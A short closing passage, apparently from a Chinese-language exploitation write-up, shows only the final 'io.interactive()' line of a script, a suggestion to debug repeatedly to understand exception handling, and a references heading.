  46. io.interactive()

最后建议读者自己多调试几遍,以加深对异常处理机制的理解。

参考资料